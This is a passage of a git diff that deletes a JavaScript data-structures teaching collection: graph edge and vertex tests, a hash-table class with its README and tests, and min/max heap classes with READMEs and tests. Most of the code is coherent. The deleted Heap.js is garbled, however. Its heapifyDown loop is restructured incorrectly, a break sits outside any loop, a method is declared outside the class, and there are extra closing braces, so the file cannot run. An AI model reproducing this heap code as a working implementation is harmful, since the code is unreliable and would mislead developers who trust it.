index 9c19f6e753..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/test/GraphEdge.test.js
+++ /dev/null
@@ -1,34 +0,0 @@
-import GraphEdge from '../GraphEdge';
-import GraphVertex from '../GraphVertex';
-describe('GraphEdge', () => {
-    it('should create graph edge with default weight', () => {
-        const startVertex = new GraphVertex('A');
-        const endVertex = new GraphVertex('B');
-        const edge = new GraphEdge(startVertex, endVertex);
-        expect(edge.getKey()).toBe('A_B');
-        expect(edge.toString()).toBe('A_B');
-        expect(edge.startVertex).toEqual(startVertex);
-        expect(edge.endVertex).toEqual(endVertex);
-        expect(edge.weight).toEqual(0);
-    });
-    it('should create graph edge with predefined weight', () => {
-        const startVertex = new GraphVertex('A');
-        const endVertex = new GraphVertex('B');
-        const edge = new GraphEdge(startVertex, endVertex, 10);
-        expect(edge.startVertex).toEqual(startVertex);
-        expect(edge.endVertex).toEqual(endVertex);
-        expect(edge.weight).toEqual(10);
-    });
-    it('should be possible to do edge reverse', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const edge = new GraphEdge(vertexA, vertexB, 10);
-        expect(edge.startVertex).toEqual(vertexA);
-        expect(edge.endVertex).toEqual(vertexB);
-        expect(edge.weight).toEqual(10);
-        edge.reverse();
-        expect(edge.startVertex).toEqual(vertexB);
-        expect(edge.endVertex).toEqual(vertexA);
-        expect(edge.weight).toEqual(10);
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/graph/test/GraphVertex.test.js b/docs/content/DS_ALGO/data-structures/graph/test/GraphVertex.test.js
deleted file mode 100644
index bb48ab9a7d..0000000000
--- a/docs/content/DS_ALGO/data-structures/graph/test/GraphVertex.test.js
+++ /dev/null
@@ -1,131 +0,0 @@
-import GraphVertex from '../GraphVertex';
-import GraphEdge from '../GraphEdge';
-describe('GraphVertex', () => {
-    it('should throw an error when trying to create vertex without value', () => {
-        let vertex = null;
-        function createEmptyVertex() {
-            vertex = new GraphVertex();
-        }
-        expect(vertex).toBeNull();
-        expect(createEmptyVertex).toThrow();
-    });
-    it('should create graph vertex', () => {
-        const vertex = new GraphVertex('A');
-        expect(vertex).toBeDefined();
-        expect(vertex.value).toBe('A');
-        expect(vertex.toString()).toBe('A');
-        expect(vertex.getKey()).toBe('A');
-        expect(vertex.edges.toString()).toBe('');
-        expect(vertex.getEdges()).toEqual([]);
-    });
-    it('should add edges to vertex and check if it exists', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        vertexA.addEdge(edgeAB);
-        expect(vertexA.hasEdge(edgeAB)).toBe(true);
-        expect(vertexB.hasEdge(edgeAB)).toBe(false);
-        expect(vertexA.getEdges().length).toBe(1);
-        expect(vertexA.getEdges()[0].toString()).toBe('A_B');
-    });
-    it('should delete edges from vertex', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeAC = new GraphEdge(vertexA, vertexC);
-        vertexA.addEdge(edgeAB).addEdge(edgeAC);
-        expect(vertexA.hasEdge(edgeAB)).toBe(true);
-        expect(vertexB.hasEdge(edgeAB)).toBe(false);
-        expect(vertexA.hasEdge(edgeAC)).toBe(true);
-        expect(vertexC.hasEdge(edgeAC)).toBe(false);
-        expect(vertexA.getEdges().length).toBe(2);
-        expect(vertexA.getEdges()[0].toString()).toBe('A_B');
-        expect(vertexA.getEdges()[1].toString()).toBe('A_C');
-        vertexA.deleteEdge(edgeAB);
-        expect(vertexA.hasEdge(edgeAB)).toBe(false);
-        expect(vertexA.hasEdge(edgeAC)).toBe(true);
-        expect(vertexA.getEdges()[0].toString()).toBe('A_C');
-        vertexA.deleteEdge(edgeAC);
-        expect(vertexA.hasEdge(edgeAB)).toBe(false);
-        expect(vertexA.hasEdge(edgeAC)).toBe(false);
-        expect(vertexA.getEdges().length).toBe(0);
-    });
-    it('should delete all edges from vertex', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeAC = new GraphEdge(vertexA, vertexC);
-        vertexA.addEdge(edgeAB).addEdge(edgeAC);
-        expect(vertexA.hasEdge(edgeAB)).toBe(true);
-        expect(vertexB.hasEdge(edgeAB)).toBe(false);
-        expect(vertexA.hasEdge(edgeAC)).toBe(true);
-        expect(vertexC.hasEdge(edgeAC)).toBe(false);
-        expect(vertexA.getEdges().length).toBe(2);
-        vertexA.deleteAllEdges();
-        expect(vertexA.hasEdge(edgeAB)).toBe(false);
-        expect(vertexB.hasEdge(edgeAB)).toBe(false);
-        expect(vertexA.hasEdge(edgeAC)).toBe(false);
-        expect(vertexC.hasEdge(edgeAC)).toBe(false);
-        expect(vertexA.getEdges().length).toBe(0);
-    });
-    it('should return vertex neighbors in case if current node is start one', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeAC = new GraphEdge(vertexA, vertexC);
-        vertexA.addEdge(edgeAB).addEdge(edgeAC);
-        expect(vertexB.getNeighbors()).toEqual([]);
-        const neighbors = vertexA.getNeighbors();
-        expect(neighbors.length).toBe(2);
-        expect(neighbors[0]).toEqual(vertexB);
-        expect(neighbors[1]).toEqual(vertexC);
-    });
-    it('should return vertex neighbors in case if current node is end one', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const edgeBA = new GraphEdge(vertexB, vertexA);
-        const edgeCA = new GraphEdge(vertexC, vertexA);
-        vertexA.addEdge(edgeBA).addEdge(edgeCA);
-        expect(vertexB.getNeighbors()).toEqual([]);
-        const neighbors = vertexA.getNeighbors();
-        expect(neighbors.length).toBe(2);
-        expect(neighbors[0]).toEqual(vertexB);
-        expect(neighbors[1]).toEqual(vertexC);
-    });
-    it('should check if vertex has specific neighbor', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        vertexA.addEdge(edgeAB);
-        expect(vertexA.hasNeighbor(vertexB)).toBe(true);
-        expect(vertexA.hasNeighbor(vertexC)).toBe(false);
-    });
-    it('should edge by vertex', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        vertexA.addEdge(edgeAB);
-        expect(vertexA.findEdge(vertexB)).toEqual(edgeAB);
-        expect(vertexA.findEdge(vertexC)).toBeNull();
-    });
-    it('should calculate vertex degree', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        expect(vertexA.getDegree()).toBe(0);
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        vertexA.addEdge(edgeAB);
-        expect(vertexA.getDegree()).toBe(1);
-        const edgeBA = new GraphEdge(vertexB, vertexA);
-        vertexA.addEdge(edgeBA);
-        expect(vertexA.getDegree()).toBe(2);
-        vertexA.addEdge(edgeAB);
-        expect(vertexA.getDegree()).toBe(3);
-        expect(vertexA.getEdges().length).toEqual(3);
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/hash-table/HashTable.js b/docs/content/DS_ALGO/data-structures/hash-table/HashTable.js
deleted file mode 100644
index 3856d380c8..0000000000
--- a/docs/content/DS_ALGO/data-structures/hash-table/HashTable.js
+++ /dev/null
@@ -1,104 +0,0 @@
-import LinkedList from '../linked-list/LinkedList';
-// Hash table size directly affects on the number of collisions.
-// The bigger the hash table size the less collisions you'll get.
-// For demonstrating purposes hash table size is small to show how collisions
-// are being handled.
-const defaultHashTableSize = 32;
-export default class HashTable {
-    /**
-     * @param {number} hashTableSize
-     */
-    constructor(hashTableSize = defaultHashTableSize) {
-        // Create hash table of certain size and fill each bucket with empty linked list.
-        this.buckets = Array(hashTableSize)
-            .fill(null)
-            .map(() => new LinkedList());
-        // Just to keep track of all actual keys in a fast way.
-        this.keys = {};
-    }
-    /**
-     * Converts key string to hash number.
-     *
-     * @param {string} key
-     * @return {number}
-     */
-    hash(key) {
-        // For simplicity reasons we will just use character codes sum of all characters of the key
-        // to calculate the hash.
-        //
-        // But you may also use more sophisticated approaches like polynomial string hash to reduce the
-        // number of collisions:
-        //
-        // hash = charCodeAt(0) * PRIME^(n-1) + charCodeAt(1) * PRIME^(n-2) + ... + charCodeAt(n-1)
-        //
-        // where charCodeAt(i) is the i-th character code of the key, n is the length of the key and
-        // PRIME is just any prime number like 31.
-        const hash = Array.from(key).reduce((hashAccumulator, keySymbol) => hashAccumulator + keySymbol.charCodeAt(0), 0);
-        // Reduce hash number so it would fit hash table size.
-        return hash % this.buckets.length;
-    }
-    /**
-     * @param {string} key
-     * @param {*} value
-     */
-    set(key, value) {
-        const keyHash = this.hash(key);
-        this.keys[key] = keyHash;
-        const bucketLinkedList = this.buckets[keyHash];
-        const node = bucketLinkedList.find({ callback: (nodeValue) => nodeValue.key === key });
-        if (!node) {
-            // Insert new node.
-            bucketLinkedList.append({ key, value });
-        } else {
-            // Update value of existing node.
-            node.value.value = value;
-        }
-    }
-    /**
-     * @param {string} key
-     * @return {*}
-     */
-    delete(key) {
-        const keyHash = this.hash(key);
-        delete this.keys[key];
-        const bucketLinkedList = this.buckets[keyHash];
-        const node = bucketLinkedList.find({ callback: (nodeValue) => nodeValue.key === key });
-        if (node) {
-            return bucketLinkedList.delete(node.value);
-        }
-        return null;
-    }
-    /**
-     * @param {string} key
-     * @return {*}
-     */
-    get(key) {
-        const bucketLinkedList = this.buckets[this.hash(key)];
-        const node = bucketLinkedList.find({ callback: (nodeValue) => nodeValue.key === key });
-        return node ? node.value.value : undefined;
-    }
-    /**
-     * @param {string} key
-     * @return {boolean}
-     */
-    has(key) {
-        return Object.hasOwnProperty.call(this.keys, key);
-    }
-    /**
-     * @return {string[]}
-     */
-    getKeys() {
-        return Object.keys(this.keys);
-    }
-    /**
-     * Gets the list of all the stored values in the hash table.
-     *
-     * @return {*[]}
-     */
-    getValues() {
-        return this.buckets.reduce((values, bucket) => {
-            const bucketValues = bucket.toArray().map((linkedListNode) => linkedListNode.value.value);
-            return values.concat(bucketValues);
-        }, []);
-    }
-}
diff --git a/docs/content/DS_ALGO/data-structures/hash-table/README.md b/docs/content/DS_ALGO/data-structures/hash-table/README.md
deleted file mode 100644
index 91f905ea21..0000000000
--- a/docs/content/DS_ALGO/data-structures/hash-table/README.md
+++ /dev/null
@@ -1,28 +0,0 @@
-# Hash Table
-
-[_Français_](README.fr-FR.md),
-
-In computing, a **hash table** (hash map) is a data
-structure which implements an _associative array_
-abstract data type, a structure that can _map keys
-to values_. A hash table uses a _hash function_ to
-compute an index into an array of buckets or slots,
-from which the desired value can be found
-
-Ideally, the hash function will assign each key to a
-unique bucket, but most hash table designs employ an
-imperfect hash function, which might cause hash
-collisions where the hash function generates the same
-index for more than one key. Such collisions must be
-accommodated in some way.
-
-![Hash Table](https://upload.wikimedia.org/wikipedia/commons/7/7d/Hash_table_3_1_1_0_1_0_0_SP.svg)
-
-Hash collision resolved by separate chaining.
-
-![Hash Collision](https://upload.wikimedia.org/wikipedia/commons/d/d0/Hash_table_5_0_1_1_1_1_1_LL.svg)
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Hash_table)
--   [YouTube](https://www.youtube.com/watch?v=shs0KM3wKv8&index=4&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/data-structures/hash-table/test/HashTable.test.js b/docs/content/DS_ALGO/data-structures/hash-table/test/HashTable.test.js
deleted file mode 100644
index f405d89429..0000000000
--- a/docs/content/DS_ALGO/data-structures/hash-table/test/HashTable.test.js
+++ /dev/null
@@ -1,86 +0,0 @@
-import HashTable from '../HashTable';
-describe('HashTable', () => {
-    it('should create hash table of certain size', () => {
-        const defaultHashTable = new HashTable();
-        expect(defaultHashTable.buckets.length).toBe(32);
-        const biggerHashTable = new HashTable(64);
-        expect(biggerHashTable.buckets.length).toBe(64);
-    });
-    it('should generate proper hash for specified keys', () => {
-        const hashTable = new HashTable();
-        expect(hashTable.hash('a')).toBe(1);
-        expect(hashTable.hash('b')).toBe(2);
-        expect(hashTable.hash('abc')).toBe(6);
-    });
-    it('should set, read and delete data with collisions', () => {
-        const hashTable = new HashTable(3);
-        expect(hashTable.hash('a')).toBe(1);
-        expect(hashTable.hash('b')).toBe(2);
-        expect(hashTable.hash('c')).toBe(0);
-        expect(hashTable.hash('d')).toBe(1);
-        hashTable.set('a', 'sky-old');
-        hashTable.set('a', 'sky');
-        hashTable.set('b', 'sea');
-        hashTable.set('c', 'earth');
-        hashTable.set('d', 'ocean');
-        expect(hashTable.has('x')).toBe(false);
-        expect(hashTable.has('b')).toBe(true);
-        expect(hashTable.has('c')).toBe(true);
-        const stringifier = (value) => `${value.key}:${value.value}`;
-        expect(hashTable.buckets[0].toString(stringifier)).toBe('c:earth');
-        expect(hashTable.buckets[1].toString(stringifier)).toBe('a:sky,d:ocean');
-        expect(hashTable.buckets[2].toString(stringifier)).toBe('b:sea');
-        expect(hashTable.get('a')).toBe('sky');
-        expect(hashTable.get('d')).toBe('ocean');
-        expect(hashTable.get('x')).not.toBeDefined();
-        hashTable.delete('a');
-        expect(hashTable.delete('not-existing')).toBeNull();
-        expect(hashTable.get('a')).not.toBeDefined();
-        expect(hashTable.get('d')).toBe('ocean');
-        hashTable.set('d', 'ocean-new');
-        expect(hashTable.get('d')).toBe('ocean-new');
-    });
-    it('should be possible to add objects to hash table', () => {
-        const hashTable = new HashTable();
-        hashTable.set('objectKey', { prop1: 'a', prop2: 'b' });
-        const object = hashTable.get('objectKey');
-        expect(object).toBeDefined();
-        expect(object.prop1).toBe('a');
-        expect(object.prop2).toBe('b');
-    });
-    it('should track actual keys', () => {
-        const hashTable = new HashTable(3);
-        hashTable.set('a', 'sky-old');
-        hashTable.set('a', 'sky');
-        hashTable.set('b', 'sea');
-        hashTable.set('c', 'earth');
-        hashTable.set('d', 'ocean');
-        expect(hashTable.getKeys()).toEqual(['a', 'b', 'c', 'd']);
-        expect(hashTable.has('a')).toBe(true);
-        expect(hashTable.has('x')).toBe(false);
-        hashTable.delete('a');
-        expect(hashTable.has('a')).toBe(false);
-        expect(hashTable.has('b')).toBe(true);
-        expect(hashTable.has('x')).toBe(false);
-    });
-    it('should get all the values', () => {
-        const hashTable = new HashTable(3);
-        hashTable.set('a', 'alpha');
-        hashTable.set('b', 'beta');
-        hashTable.set('c', 'gamma');
-        expect(hashTable.getValues()).toEqual(['gamma', 'alpha', 'beta']);
-    });
-    it('should get all the values from empty hash table', () => {
-        const hashTable = new HashTable();
-        expect(hashTable.getValues()).toEqual([]);
-    });
-    it('should get all the values in case of hash collision', () => {
-        const hashTable = new HashTable(3);
-        // Keys `ab` and `ba` in current implementation should result in one hash (one bucket).
-        // We need to make sure that several items from one bucket will be serialized.
-        hashTable.set('ab', 'one');
-        hashTable.set('ba', 'two');
-        hashTable.set('ac', 'three');
-        expect(hashTable.getValues()).toEqual(['one', 'two', 'three']);
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/heap/Heap.js b/docs/content/DS_ALGO/data-structures/heap/Heap.js
deleted file mode 100644
index b548a756f9..0000000000
--- a/docs/content/DS_ALGO/data-structures/heap/Heap.js
+++ /dev/null
@@ -1,234 +0,0 @@
-import Comparator from '../../utils/comparator/Comparator';
-/**
- * Parent class for Min and Max Heaps.
- */
-export default class Heap {
-    /**
-     * @constructs Heap
-     * @param {Function} [comparatorFunction]
-     */
-    constructor(comparatorFunction) {
-        if (new.target === Heap) {
-            throw new TypeError('Cannot construct Heap instance directly');
-        }
-        // Array representation of the heap.
-        this.heapContainer = [];
-        this.compare = new Comparator(comparatorFunction);
-    }
-    /**
-     * @param {number} parentIndex
-     * @return {number}
-     */
-    getLeftChildIndex(parentIndex) {
-        return 2 * parentIndex + 1;
-    }
-    /**
-     * @param {number} parentIndex
-     * @return {number}
-     */
-    getRightChildIndex(parentIndex) {
-        return 2 * parentIndex + 2;
-    }
-    /**
-     * @param {number} childIndex
-     * @return {number}
-     */
-    getParentIndex(childIndex) {
-        return Math.floor((childIndex - 1) / 2);
-    }
-    /**
-     * @param {number} childIndex
-     * @return {boolean}
-     */
-    hasParent(childIndex) {
-        return this.getParentIndex(childIndex) >= 0;
-    }
-    /**
-     * @param {number} parentIndex
-     * @return {boolean}
-     */
-    hasLeftChild(parentIndex) {
-        return this.getLeftChildIndex(parentIndex) < this.heapContainer.length;
-    }
-    /**
-     * @param {number} parentIndex
-     * @return {boolean}
-     */
-    hasRightChild(parentIndex) {
-        return this.getRightChildIndex(parentIndex) < this.heapContainer.length;
-    }
-    /**
-     * @param {number} parentIndex
-     * @return {*}
-     */
-    leftChild(parentIndex) {
-        return this.heapContainer[this.getLeftChildIndex(parentIndex)];
-    }
-    /**
-     * @param {number} parentIndex
-     * @return {*}
-     */
-    rightChild(parentIndex) {
-        return this.heapContainer[this.getRightChildIndex(parentIndex)];
-    }
-    /**
-     * @param {number} childIndex
-     * @return {*}
-     */
-    parent(childIndex) {
-        return this.heapContainer[this.getParentIndex(childIndex)];
-    }
-    /**
-     * @param {number} indexOne
-     * @param {number} indexTwo
-     */
-    swap(indexOne, indexTwo) {
-        const tmp = this.heapContainer[indexTwo];
-        this.heapContainer[indexTwo] = this.heapContainer[indexOne];
-        this.heapContainer[indexOne] = tmp;
-    }
-    /**
-     * @return {*}
-     */
-    peek() {
-        if (this.heapContainer.length === 0) {
-            return null;
-        }
-        return this.heapContainer[0];
-    }
-    /**
-     * @return {*}
-     */
-    poll() {
-        if (this.heapContainer.length === 0) {
-            return null;
-        }
-        if (this.heapContainer.length === 1) {
-            return this.heapContainer.pop();
-        }
-        const item = this.heapContainer[0];
-        // Move the last element from the end to the head.
-        this.heapContainer[0] = this.heapContainer.pop();
-        this.heapifyDown();
-        return item;
-    }
-    /**
-     * @param {*} item
-     * @return {Heap}
-     */
-    add(item) {
-        this.heapContainer.push(item);
-        this.heapifyUp();
-        return this;
-    }
-    /**
-     * @param {*} item
-     * @param {Comparator} [comparator]
-     * @return {Heap}
-     */
-    remove(item, comparator = this.compare) {
-        // Find number of items to remove.
-        const numberOfItemsToRemove = this.find(item, comparator).length;
-        for (let iteration = 0; iteration < numberOfItemsToRemove; iteration += 1) {
-            // We need to find item index to remove each time after removal since
-            // indices are being changed after each heapify process.
-            const indexToRemove = this.find(item, comparator).pop();
-            // If we need to remove last child in the heap then just remove it.
-            // There is no need to heapify the heap afterwards.
-            if (indexToRemove === this.heapContainer.length - 1) {
-                this.heapContainer.pop();
-            } else {
-                // Move last element in heap to the vacant (removed) position.
-                this.heapContainer[indexToRemove] = this.heapContainer.pop();
-                // Get parent.
-                const parentItem = this.parent(indexToRemove);
-                // If there is no parent or parent is in correct order with the node
-                // we're going to delete then heapify down. Otherwise heapify up.
-                if (this.hasLeftChild(indexToRemove) && (!parentItem || this.pairIsInCorrectOrder(parentItem, this.heapContainer[indexToRemove]))) {
-                    this.heapifyDown(indexToRemove);
-                } else {
-                    this.heapifyUp(indexToRemove);
-                }
-            }
-        }
-        return this;
-    }
-    /**
-     * @param {*} item
-     * @param {Comparator} [comparator]
-     * @return {Number[]}
-     */
-    find(item, comparator = this.compare) {
-        const foundItemIndices = [];
-        for (let itemIndex = 0; itemIndex < this.heapContainer.length; itemIndex += 1) {
-            if (comparator.equal(item, this.heapContainer[itemIndex])) {
-                foundItemIndices.push(itemIndex);
-            }
-        }
-        return foundItemIndices;
-    }
-    /**
-     * @return {boolean}
-     */
-    isEmpty() {
-        return !this.heapContainer.length;
-    }
-    /**
-     * @return {string}
-     */
-    toString() {
-        return this.heapContainer.toString();
-    }
-    /**
-     * @param {number} [customStartIndex]
-     */
-    heapifyUp(customStartIndex) {
-        // Take the last element (last in array or the bottom left in a tree)
-        // in the heap container and lift it up until it is in the correct
-        // order with respect to its parent element.
-        let currentIndex = customStartIndex || this.heapContainer.length - 1;
-        while (this.hasParent(currentIndex) && !this.pairIsInCorrectOrder(this.parent(currentIndex), this.heapContainer[currentIndex])) {
-            this.swap(currentIndex, this.getParentIndex(currentIndex));
-            currentIndex = this.getParentIndex(currentIndex);
-        }
-    }
-    /**
-     * @param {number} [customStartIndex]
-     */
-    heapifyDown(customStartIndex = 0) {
-        // Compare the parent element to its children and swap parent with the appropriate
-        // child (smallest child for MinHeap, largest child for MaxHeap).
-        // Do the same for next children after swap.
-        let currentIndex = customStartIndex;
-        let nextIndex = null;
-        while (this.hasLeftChild(currentIndex)) {
-            if (this.hasRightChild(currentIndex) && this.pairIsInCorrectOrder(this.rightChild(currentIndex), this.leftChild(currentIndex))) {
-                nextIndex = this.getRightChildIndex(currentIndex);
-            } else {}
-            nextIndex = this.getLeftChildIndex(currentIndex);
-        }
-        if (this.pairIsInCorrectOrder(this.heapContainer[currentIndex], this.heapContainer[nextIndex])) {
-            break;
-        }
-        this.swap(currentIndex, nextIndex);
-        currentIndex = nextIndex;
-    }
-}
-/**
- * Checks if pair of heap elements is in correct order.
- * For MinHeap the first element must be always smaller or equal.
- * For MaxHeap the first element must be always bigger or equal.
- *
- * @param {*} firstElement
- * @param {*} secondElement
- * @return {boolean}
- */
-/* istanbul ignore next */
-pairIsInCorrectOrder(firstElement, secondElement) {
-    throw new Error(`
-      You have to implement heap pair comparision method
-      for ${firstElement} and ${secondElement} values.
-    `);
-}
-}
-}
diff --git a/docs/content/DS_ALGO/data-structures/heap/MaxHeap.js b/docs/content/DS_ALGO/data-structures/heap/MaxHeap.js
deleted file mode 100644
index ba378bcb47..0000000000
--- a/docs/content/DS_ALGO/data-structures/heap/MaxHeap.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import Heap from './Heap';
-export default class MaxHeap extends Heap {
-    /**
-     * Checks if pair of heap elements is in correct order.
-     * For MinHeap the first element must be always smaller or equal.
-     * For MaxHeap the first element must be always bigger or equal.
-     *
-     * @param {*} firstElement
-     * @param {*} secondElement
-     * @return {boolean}
-     */
-    pairIsInCorrectOrder(firstElement, secondElement) {
-        return this.compare.greaterThanOrEqual(firstElement, secondElement);
-    }
-}
diff --git a/docs/content/DS_ALGO/data-structures/heap/MinHeap.js b/docs/content/DS_ALGO/data-structures/heap/MinHeap.js
deleted file mode 100644
index 66eac6b99d..0000000000
--- a/docs/content/DS_ALGO/data-structures/heap/MinHeap.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import Heap from './Heap';
-export default class MinHeap extends Heap {
-    /**
-     * Checks if pair of heap elements is in correct order.
-     * For MinHeap the first element must be always smaller or equal.
-     * For MaxHeap the first element must be always bigger or equal.
-     *
-     * @param {*} firstElement
-     * @param {*} secondElement
-     * @return {boolean}
-     */
-    pairIsInCorrectOrder(firstElement, secondElement) {
-        return this.compare.lessThanOrEqual(firstElement, secondElement);
-    }
-}
diff --git a/docs/content/DS_ALGO/data-structures/heap/README.md b/docs/content/DS_ALGO/data-structures/heap/README.md
deleted file mode 100644
index bac80d80cb..0000000000
--- a/docs/content/DS_ALGO/data-structures/heap/README.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# Heap (data-structure)
-
-[_Français_](README.fr-FR.md),
-[_Türkçe_](README.tr-TR.md),
-
-In computer science, a **heap** is a specialized tree-based
-data structure that satisfies the heap property described
-below.
-
-In a _min heap_, if `P` is a parent node of `C`, then the
-key (the value) of `P` is less than or equal to the
-key of `C`.
-
-![MinHeap](https://upload.wikimedia.org/wikipedia/commons/6/69/Min-heap.png)
-
-In a _max heap_, the key of `P` is greater than or equal
-to the key of `C`
-
-![Heap](https://upload.wikimedia.org/wikipedia/commons/3/38/Max-Heap.svg)
-
-The node at the "top" of the heap with no parents is
-called the root node.
-
-## References
-
--   [Wikipedia](<https://en.wikipedia.org/wiki/Heap_(data_structure)>)
--   [YouTube](https://www.youtube.com/watch?v=t0Cq6tVNRBA&index=5&t=0s&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/data-structures/heap/test/Heap.test.js b/docs/content/DS_ALGO/data-structures/heap/test/Heap.test.js
deleted file mode 100644
index be6106363d..0000000000
--- a/docs/content/DS_ALGO/data-structures/heap/test/Heap.test.js
+++ /dev/null
@@ -1,10 +0,0 @@
-import Heap from '../Heap';
-describe('Heap', () => {
-    it('should not allow to create instance of the Heap directly', () => {
-        const instantiateHeap = () => {
-            const heap = new Heap();
-            heap.add(5);
-        };
-        expect(instantiateHeap).toThrow();
-    });
-});
diff --git a/docs/content/DS_ALGO/data-structures/heap/test/MaxHeap.test.js b/docs/content/DS_ALGO/data-structures/heap/test/MaxHeap.test.js
deleted file mode 100644
index ab088cddbb..0000000000
--- a/docs/content/DS_ALGO/data-structures/heap/test/MaxHeap.test.js
+++ /dev/null
@@ -1,131 +0,0 @@
-import MaxHeap from '../MaxHeap';
-import Comparator from '../../../utils/comparator/Comparator';
-describe('MaxHeap', () => {
-    it('should create an empty max heap', () => {
-        const maxHeap = new MaxHeap();
-        expect(maxHeap).toBeDefined();
-        expect(maxHeap.peek()).toBeNull();
-        expect(maxHeap.isEmpty()).toBe(true);
-    });
-    it('should add items to the heap and heapify it up', () => {
-        const maxHeap = new MaxHeap();
-        maxHeap.add(5);
-        expect(maxHeap.isEmpty()).toBe(false);
-        expect(maxHeap.peek()).toBe(5);
-        expect(maxHeap.toString()).toBe('5');
-        maxHeap.add(3);
-        expect(maxHeap.peek()).toBe(5);
-        expect(maxHeap.toString()).toBe('5,3');
-        maxHeap.add(10);
-        expect(maxHeap.peek()).toBe(10);
-        expect(maxHeap.toString()).toBe('10,3,5');
-        maxHeap.add(1);
-        expect(maxHeap.peek()).toBe(10);
-        expect(maxHeap.toString()).toBe('10,3,5,1');
-        maxHeap.add(1);
-        expect(maxHeap.peek()).toBe(10);
-        expect(maxHeap.toString()).toBe('10,3,5,1,1');
-        expect(maxHeap.poll()).toBe(10);
-        expect(maxHeap.toString()).toBe('5,3,1,1');
-        expect(maxHeap.poll()).toBe(5);
-        expect(maxHeap.toString()).toBe('3,1,1');
-        expect(maxHeap.poll()).toBe(3);
-        expect(maxHeap.toString()).toBe('1,1');
-    });
-    it('should poll items from the heap and heapify it down', () => {
-        const maxHeap = new MaxHeap();
-        maxHeap.add(5);
-        maxHeap.add(3);
-        maxHeap.add(10);
-        maxHeap.add(11);
-        maxHeap.add(1);
-        expect(maxHeap.toString()).toBe('11,10,5,3,1');
-        expect(maxHeap.poll()).toBe(11);
-        expect(maxHeap.toString()).toBe('10,3,5,1');
-        expect(maxHeap.poll()).toBe(10);
-        expect(maxHeap.toString()).toBe('5,3,1');
-        expect(maxHeap.poll()).toBe(5);
-        expect(maxHeap.toString()).toBe('3,1');
-        expect(maxHeap.poll()).toBe(3);
-        expect(maxHeap.toString()).toBe('1');
-        expect(maxHeap.poll()).toBe(1);
-        expect(maxHeap.toString()).toBe('');
-        expect(maxHeap.poll()).toBeNull();
-        expect(maxHeap.toString()).toBe('');
-    });
-    it('should heapify down through the right branch as well', () => {
-        const maxHeap = new MaxHeap();
-        maxHeap.add(3);
-        maxHeap.add(12);
-        maxHeap.add(10);
-        expect(maxHeap.toString()).toBe('12,3,10');
-        maxHeap.add(11);
-        expect(maxHeap.toString()).toBe('12,11,10,3');
-        expect(maxHeap.poll()).toBe(12);
-        expect(maxHeap.toString()).toBe('11,3,10');
-    });
-    it('should be possible to find item indices in heap', () => {
-        const maxHeap = new MaxHeap();
-        maxHeap.add(3);
-        maxHeap.add(12);
-        maxHeap.add(10);
-        maxHeap.add(11);
-        maxHeap.add(11);
-        expect(maxHeap.toString()).toBe('12,11,10,3,11');
-        expect(maxHeap.find(5)).toEqual([]);
-        expect(maxHeap.find(12)).toEqual([0]);
-        expect(maxHeap.find(11)).toEqual([1, 4]);
-    });
-    it('should be possible to remove items from heap with heapify down', () => {
-        const maxHeap = new MaxHeap();
-        maxHeap.add(3);
-        maxHeap.add(12);
-        maxHeap.add(10);
-        maxHeap.add(11);
-        maxHeap.add(11);
-        expect(maxHeap.toString()).toBe('12,11,10,3,11');
-        expect(maxHeap.remove(12).toString()).toEqual('11,11,10,3');
-        expect(maxHeap.remove(12).peek()).toEqual(11);
-        expect(maxHeap.remove(11).toString()).toEqual('10,3');
-        expect(maxHeap.remove(10).peek()).toEqual(3);
-    });
-    it('should be possible to remove items from heap with heapify up', () => {
-        const maxHeap = new MaxHeap();
-        maxHeap.add(3);
-        maxHeap.add(10);
-        maxHeap.add(5);
-        maxHeap.add(6);
-        maxHeap.add(7);
-        maxHeap.add(4);
-        maxHeap.add(6);
-        maxHeap.add(8);
-        maxHeap.add(2);
-        maxHeap.add(1);
-        expect(maxHeap.toString()).toBe('10,8,6,7,6,4,5,3,2,1');
-        expect(maxHeap.remove(4).toString()).toEqual('10,8,6,7,6,1,5,3,2');
-        expect(maxHeap.remove(3).toString()).toEqual('10,8,6,7,6,1,5,2');
-        expect(maxHeap.remove(5).toString()).toEqual('10,8,6,7,6,1,2');
-        expect(maxHeap.remove(10).toString()).toEqual('8,7,6,2,6,1');
-        expect(maxHeap.remove(6).toString()).toEqual('8,7,1,2');
-        expect(maxHeap.remove(2).toString()).toEqual('8,7,1');
-        expect(maxHeap.remove(1).toString()).toEqual('8,7');
-        expect(maxHeap.remove(7).toString()).toEqual('8');
-        expect(maxHeap.remove(8).toString()).toEqual('');
-    });
-    it('should be possible to remove items from heap with custom finding comparator', () => {
